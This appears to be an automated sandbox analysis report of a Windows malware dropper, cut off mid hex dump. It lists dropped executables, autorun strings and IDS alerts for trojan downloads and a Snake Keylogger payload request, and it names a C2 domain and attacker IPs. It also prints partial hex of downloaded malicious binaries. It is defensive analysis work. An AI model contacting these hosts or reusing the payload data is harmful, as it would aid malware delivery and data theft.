Source:	Binary string: \read_name_pass_dll\release\read_name_pass_dll.pdb source: wic.exe, 0000000B.00000003.1823633936.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, msslac[1].dll.11.dr
Source:	Binary string: \Release\EXEPayload.pdb! source: wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr
Source:	Binary string: \Release\EXEPayload.pdb source: wic.exe, 0000000B.00000003.1814987251.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000002.3537228980.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe, 00000012.00000000.1920081415.0000000000BD3000.00000002.00000001.01000000.0000001A.sdmp, cbas.exe.11.dr
Source:	Binary string: \Release\DownLoad.pdb source: wic.exe, 0000000B.00000000.1799136325.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe, 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmp, wic.exe.0.dr, wic[1].exe.0.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb source: ._cache_2.exe, 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, ._cache_2.exe, 00000008.00000000.1762473821.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, 2.exe.0.dr, ._cache_2.exe.5.dr, 2[1].exe.0.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb< source: ._cache_2.exe, 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, ._cache_2.exe, 00000008.00000000.1762473821.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmp, 2.exe.0.dr, ._cache_2.exe.5.dr, 2[1].exe.0.dr

Source: 1.exe, 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: [autorun]
Source: 1.exe, 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: [autorun]
Source: 1.exe, 00000001.00000000.1709599751.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000003.00000003.1717667109.0000000000763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.1717667109.0000000000763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.1717667109.0000000000763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: 2.exe.0.dr	Binary or memory string: [autorun]
Source: 2.exe.0.dr	Binary or memory string: [autorun]
Source: 2.exe.0.dr	Binary or memory string: autorun.inf
Source: RCXF308.tmp.3.dr	Binary or memory string: [autorun]
Source: RCXF308.tmp.3.dr	Binary or memory string: [autorun]
Source: RCXF308.tmp.3.dr	Binary or memory string: autorun.inf
Source: 1[1].exe.0.dr	Binary or memory string: [autorun]
Source: 1[1].exe.0.dr	Binary or memory string: [autorun]
Source: 1[1].exe.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.1.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.1.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.1.dr	Binary or memory string: autorun.inf
Source: 1.exe.0.dr	Binary or memory string: [autorun]
Source: 1.exe.0.dr	Binary or memory string: [autorun]
Source: 1.exe.0.dr	Binary or memory string: autorun.inf
Source: HjsFu2ta.exe.3.dr	Binary or memory string: [autorun]
Source: HjsFu2ta.exe.3.dr	Binary or memory string: [autorun]
Source: HjsFu2ta.exe.3.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf
Source: RCXF376.tmp.3.dr	Binary or memory string: [autorun]
Source: RCXF376.tmp.3.dr	Binary or memory string: [autorun]
Source: RCXF376.tmp.3.dr	Binary or memory string: autorun.inf
Source: RCXF181.tmp.1.dr	Binary or memory string: [autorun]
Source: RCXF181.tmp.1.dr	Binary or memory string: [autorun]
Source: RCXF181.tmp.1.dr	Binary or memory string: autorun.inf
Source: 2[1].exe.0.dr	Binary or memory string: [autorun]
Source: 2[1].exe.0.dr	Binary or memory string: [autorun]
Source: 2[1].exe.0.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_0040A2B0 GetDesktopWindow,FindFirstFileA,FileTimeToSystemTime,realloc,FindNextFileA,FindClose,qsort,SetFileAttributesA,SetFileAttributesA,DeleteFileA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,free,	2_2_0040A2B0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 2_2_00407D50 SendMessageA,FindFirstFileA,realloc,FindNextFileA,FindClose,SetFileAttributesA,DeleteFileA,??3@YAXPAX@Z,free,Sleep,	2_2_00407D50
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DCF9B3 __EH_prolog3_GS,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	8_2_00DCF9B3
Source: C:\Users\user\Desktop\._cache_2.exe	Code function: 8_2_00DDDB70 __EH_prolog3_GS,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,	8_2_00DDDB70
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D2BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	9_2_00D2BA94
Source: C:\Program Files (x86)\4.exe	Code function: 9_2_00D3D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	9_2_00D3D420
Source: C:\Windows\wic.exe	Code function: 11_2_00F3E027 __EH_prolog3_GS,GetFullPathNameA,__cftof,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,_strlen,	11_2_00F3E027
Source: C:\Windows\cbas.exe	Code function: 18_2_00BC940B FindFirstFileExA,	18_2_00BC940B

Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 69MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.4:49730 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 47.254.187.72:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.4:49738 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2800781 - Severity 1 - ETPRO EXPLOIT Microsoft Windows Shell Buffer Overflow : 47.254.187.72:80 -> 192.168.2.4:49740
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49845 -> 142.250.186.142:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:34:49 GMTContent-Type: application/octet-streamContent-Length: 830976Connection: keep-alivex-oss-request-id: 6776EA59FDD725252BC4B43BAccept-Ranges: bytesETag: "D026CFE00B08DA14B0A8B7F8860887D7"Last-Modified: Sat, 02 Nov 2024 18:51:16 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 3464722037212978174x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: 0CbP4AsI2hSwqLf4hgiH1w==x-oss-server-time: 2Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 0e 03 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 0d 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 42 2a 00 00 00 00 0b 00 30 05 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 80 a9 00 00 00 00 00 00 00 00 00 00 18 40 0a 00 21 00 00 00 00 00 00 00 00 00 00 00 00 40 0a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 ec 9b 09 00 00 10 00 00 00 9c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 54 2e 00 00 00 b0 09 00 00 30 00 00 00 a0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 e5 11 00 00 00 e0 09 00 00 00 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 42 2a 00 00 00 00 0a 00 00 2c 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B@@B0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:34:50 GMTContent-Type: application/octet-streamContent-Length: 4645376Connection: keep-alivex-oss-request-id: 6776EA5A40E6AE0DD7C69331Accept-Ranges: bytesETag: "85A57509DB3E9DFA7B4E451B8243220D"Last-Modified: Sat, 02 Nov 2024 19:15:45 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 11212801109602397947x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: haV1Cds+nfp7TkUbgkMiDQ==x-oss-server-time: 4Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 9c 09 00 00 42 3d 00 00 00 00 00 80 ab 09 00 00 10 00 00 00 b0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 47 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 42 2a 00 00 00 00 0b 00 78 39 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 80 a9 00 00 00 00 00 00 00 00 00 00 18 40 0a 00 21 00 00 00 00 00 00 00 00 00 00 00 00 40 0a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 ec 9b 09 00 00 10 00 00 00 9c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 54 2e 00 00 00 b0 09 00 00 30 00 00 00 a0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 e5 11 00 00 00 e0 09 00 00 00 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 42 2a 00 00 00 00 0a 00 00 2c 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^BB=@@G@Bx9<
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:34:54 GMTContent-Type: application/octet-streamContent-Length: 9872Connection: keep-alivex-oss-request-id: 6776EA5E6069439A00C5A68BAccept-Ranges: bytesETag: "1EDB88F9EE745EAAEE2CBD8219318EB0"Last-Modified: Sat, 02 Nov 2024 15:18:39 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 9658441509656194699x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: HtuI+e50XqruLL2CGTGOsA==x-oss-server-time: 2Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 46 52 f6 a5 27 3c a5 a5 27 3c a5 a5 27 3c a5 e3 76 e3 a5 a7 27 3c a5 e3 76 dc a5 a7 27 3c a5 ac 5f af a5 a0 27 3c a5 a5 27 3d a5 b8 27 3c a5 a8 75 dd a5 a4 27 3c a5 a8 75 e2 a5 a4 27 3c a5 52 69 63 68 a5 27 3c a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3a ce ab 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 20 00 00 00 10 00 00 00 80 00 00 80 a5 00 00 00 90 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 00 00 00 10 00 00 00 00 00 00 02 00 40 87 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 80 00 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 20 00 00 00 90 00 00 00 18 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 b0 00 00 00 02 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$FR'<'<'<v'<v'<_'<'='<u'<u'<Rich'<PEL:f @@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:34:55 GMTContent-Type: application/octet-streamContent-Length: 346414Connection: keep-alivex-oss-request-id: 6776EA5FFDD725252BC4B67AAccept-Ranges: bytesETag: "39E7BE73C7531AC895F75834FDC1BCD6"Last-Modified: Sat, 02 Nov 2024 18:37:48 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 12059760812609244457x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: Oee+c8dTGsiV91g0/cG81g==x-oss-server-time: 2Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 16 c9 9a 88 77 a7 c9 88 77 a7 c9 88 77 a7 c9 3c eb 56 c9 85 77 a7 c9 3c eb 54 c9 06 77 a7 c9 3c eb 55 c9 90 77 a7 c9 08 0c 5a c9 8a 77 a7 c9 08 0c a3 c8 9b 77 a7 c9 08 0c a4 c8 9f 77 a7 c9 08 0c a2 c8 bd 77 a7 c9 81 0f 24 c9 83 77 a7 c9 81 0f 34 c9 8f 77 a7 c9 88 77 a6 c9 92 76 a7 c9 06 0c a2 c8 b9 77 a7 c9 06 0c a7 c8 89 77 a7 c9 06 0c 58 c9 89 77 a7 c9 06 0c a5 c8 89 77 a7 c9 52 69 63 68 88 77 a7 c9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b2 cf c8 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 21 00 2e 03 00 00 f6 03 00 00 00 00 00 90 07 02 00 00 10 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 80 e3 03 00 34 00 00 00 b4 e3 03 00 50 00 00 00 00 60 06 00 74 d4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 07 00 dc 23 00 00 b0 c1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 66 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 78 02 00 00 5c d8 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cc 2d 03 00 00 10 00 00 00 2e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d0 b1 00 00 00 40 03 00 00 b2 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 50 47 02 00 00 00 04 00 00 12 00 00 00 e4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 a4 01 00 00 00 50 06 00 00 02 00 00 00 f6 03 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$www<Vw<Tw<UwZwwww$w4wwvwwXwwRichwPELd!.@@p@4
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:34:56 GMTContent-Type: application/octet-streamContent-Length: 3483648Connection: keep-alivex-oss-request-id: 6776EA6054F7EDD933C5AA70Accept-Ranges: bytesETag: "6AD65B03E75BC5509BA3104510178EE6"Last-Modified: Sat, 02 Nov 2024 15:06:38 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 12551179916436374333x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: atZbA+dbxVCboxBFEBeO5g==x-oss-server-time: 2Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 ad 33 d9 23 cc 5d 8a 23 cc 5d 8a 23 cc 5d 8a 46 aa 5e 8b 3d cc 5d 8a 46 aa 59 8b 05 cc 5d 8a 46 aa 58 8b c4 cc 5d 8a 46 aa 5b 8b 20 cc 5d 8a 71 a4 59 8b 01 cc 5d 8a 71 a4 5e 8b 3a cc 5d 8a 71 a4 58 8b 5f cd 5d 8a 46 aa 5c 8b 06 cc 5d 8a 23 cc 5c 8a 35 cf 5d 8a 88 a5 54 8b 20 cc 5d 8a 88 a5 a2 8a 22 cc 5d 8a 23 cc ca 8a 22 cc 5d 8a 88 a5 5f 8b 22 cc 5d 8a 52 69 63 68 23 cc 5d 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fb 3e 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 1a 18 00 00 52 1d 00 00 00 00 00 09 ba 14 00 00 10 00 00 00 30 18 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 35 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 5b 1d 00 7c 01 00 00 00 50 1e 00 c0 13 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 33 00 88 32 02 00 90 bf 1b 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c0 1b 00 18 00 00 00 00 c0 1b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 18 00 08 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b0 19 18 00 00 10 00 00 00 1a 18 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 86 62 05 00 00 30 18 00 00 64 05 00 00 1e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d8 a4 00 00 00 a0 1d 00 00 5e 00 00 00 82 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 13 15 00 00 50 1e 00 00 14 15 00 00 e0 1d 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$g3#]#]#]F^=]FY]FX]F[ ]qY]q^:]qX_]F\]#\5]T ]"]#"]_"]Rich#]PEL>&gR0@5@[
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: AliyunOSSDate: Thu, 02 Jan 2025 19:35:00 GMTContent-Type: application/octet-streamContent-Length: 295424Connection: keep-alivex-oss-request-id: 6776EA64494A37041BC6A984Accept-Ranges: bytesETag: "9FD7C0ACC95C7F1311BDE279D0B6A03A"Last-Modified: Sat, 02 Nov 2024 13:26:13 GMTx-oss-object-type: Normalx-oss-hash-crc64ecma: 13157587370901313456x-oss-storage-class: Standardx-oss-ec: 0048-00000109Content-Disposition: attachmentx-oss-force-download: trueContent-MD5: n9fArMlcfxMRveJ50LagOg==x-oss-server-time: 2Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d b7 62 8a 09 d6 0c d9 09 d6 0c d9 09 d6 0c d9 7a b4 0f d8 04 d6 0c d9 7a b4 09 d8 a0 d6 0c d9 7a b4 08 d8 1f d6 0c d9 5b be 0f d8 1e d6 0c d9 7a b4 0d d8 00 d6 0c d9 09 d6 0d d9 82 d6 0c d9 5b be 09 d8 49 d6 0c d9 5b be 08 d8 28 d6 0c d9 a2 bf 05 d8 08 d6 0c d9 a2 bf f3 d9 08 d6 0c d9 a2 bf 0e d8 08 d6 0c d9 52 69 63 68 09 d6 0c d9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 73 22 26 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 10 00 18 03 00 00 76 01 00 00 00 00 00 2c 3a 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 78 47 04 00 3c 00 00 00 00 90 04 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 04 00 4c 2a 00 00 c0 18 04 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 19 04 00 18 00 00 00 30 19 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0b 16 03 00 00 10 00 00 00 18 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2a 22 01 00 00 30 03 00 00 24 01 00 00 1c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 20 00 00 00 60 04 00 00 12 00 00 00 40 04 00 00 00 